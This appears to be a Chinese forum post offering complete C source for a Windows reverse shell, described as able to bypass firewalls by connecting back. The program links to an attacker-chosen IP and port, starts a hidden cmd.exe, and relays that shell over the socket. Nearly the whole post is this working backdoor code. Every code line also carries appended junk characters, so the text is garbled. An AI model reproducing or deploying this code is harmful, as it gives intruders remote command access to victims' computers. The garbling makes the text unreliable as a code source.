这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2BXpk^d5y
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/* ============================== A`TVV
Rebound port in Windows NT 9AD`,]b
By wind,2006/7 zIi|z}WJ
===============================*/ n`2d
#include x9Y1v1!5Pu
#include =${]j
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#pragma comment(lib,"wsock32.lib") yQ}$G
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void OutputShell(); Bq.@CxK
SOCKET sClient; T1m"1Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QM2Y?."#
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void main(int argc,char **argv) 8i!AJF9IQ}
{ nBI?~hkP3
WSADATA stWsaData; E0'+]"B
int nRet; = I,O+^
SOCKADDR_IN stSaiClient,stSaiServer; V&;1n
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if(argc != 3) Yz=(zj
{ OXe+=Lp<
printf("Useage:\n\rRebound DestIP DestPort\n"); [9(tIb!x
return; t.$3?"60~
} N:GS fM@g
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WSAStartup(MAKEWORD(2,2),&stWsaData); OSQZ5:g|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); au@ LQxKQ
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stSaiClient.sin_family = AF_INET; k{;"Aj:iL
stSaiClient.sin_port = htons(0); &PVos|G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ye:pGa w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rZ2X$FO@
{ 3('=+d[}Vw
printf("Bind Socket Failed!\n"); px %xoY
return; 7K,Quq.%+
} :K>v
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stSaiServer.sin_family = AF_INET; MGze
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [zl@7X1{_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _8P"/(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eQu%TZ(x-$
{ g}"`@H(9r3
printf("Connect Error!"); #"-?+F=rk
return; 5Ds/^fA
} B4 yU}v
OutputShell(); s0uI;WMg
} >$SP2(Y~
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void OutputShell() ;Pf
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{ sd9$4k"
char szBuff[1024]; i!+D
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SECURITY_ATTRIBUTES stSecurityAttributes; BLZ#vJR
OSVERSIONINFO stOsversionInfo; 6r!
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4
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STARTUPINFO stStartupInfo; TP o%zZo
char *szShell; z%$ E6Im
PROCESS_INFORMATION stProcessInformation; oFM\L^Y?$$
unsigned long lBytesRead; oNQ;9&Z,^2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .] mYpz
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~,+n_KST;
stSecurityAttributes.lpSecurityDescriptor = 0; j[l6&eX
stSecurityAttributes.bInheritHandle = TRUE; xFxl9oM."
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OzY55
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fd Ezt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jXA!9_L7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mx<z34(T
stStartupInfo.wShowWindow = SW_HIDE; @)s;u}H
stStartupInfo.hStdInput = hReadPipe; Xou1X$$z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [p[nK=&r
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GetVersionEx(&stOsversionInfo); M2HO!btf
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switch(stOsversionInfo.dwPlatformId)
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{ \Zc$X^}vN
case 1: Q|QVm,m
szShell = "command.com"; CvfXm
break; hoY.2 B _
default: j_N><_Jc
szShell = "cmd.exe"; [
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break; h/~:}Bof
} "hwg";Z$n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r_C|gfIP
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send(sClient,szMsg,77,0); W}m-5L
while(1) s2f95<B
{ b`"E(S /
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ' =MaO@ @
if(lBytesRead) &:}e`u@5|
{ ,XT#V\qne
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kwxb~~S}h(
send(sClient,szBuff,lBytesRead,0); lv
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} N]n]7(e+0C
else +5J "G/f
{ 9~+A<X]Hd
lBytesRead=recv(sClient,szBuff,1024,0); kN3 T/96
if(lBytesRead<=0) break; dWHl<BUm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v|5:;,I
} is=sV:j:
} +mRFHZG
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return; 2|'v[
}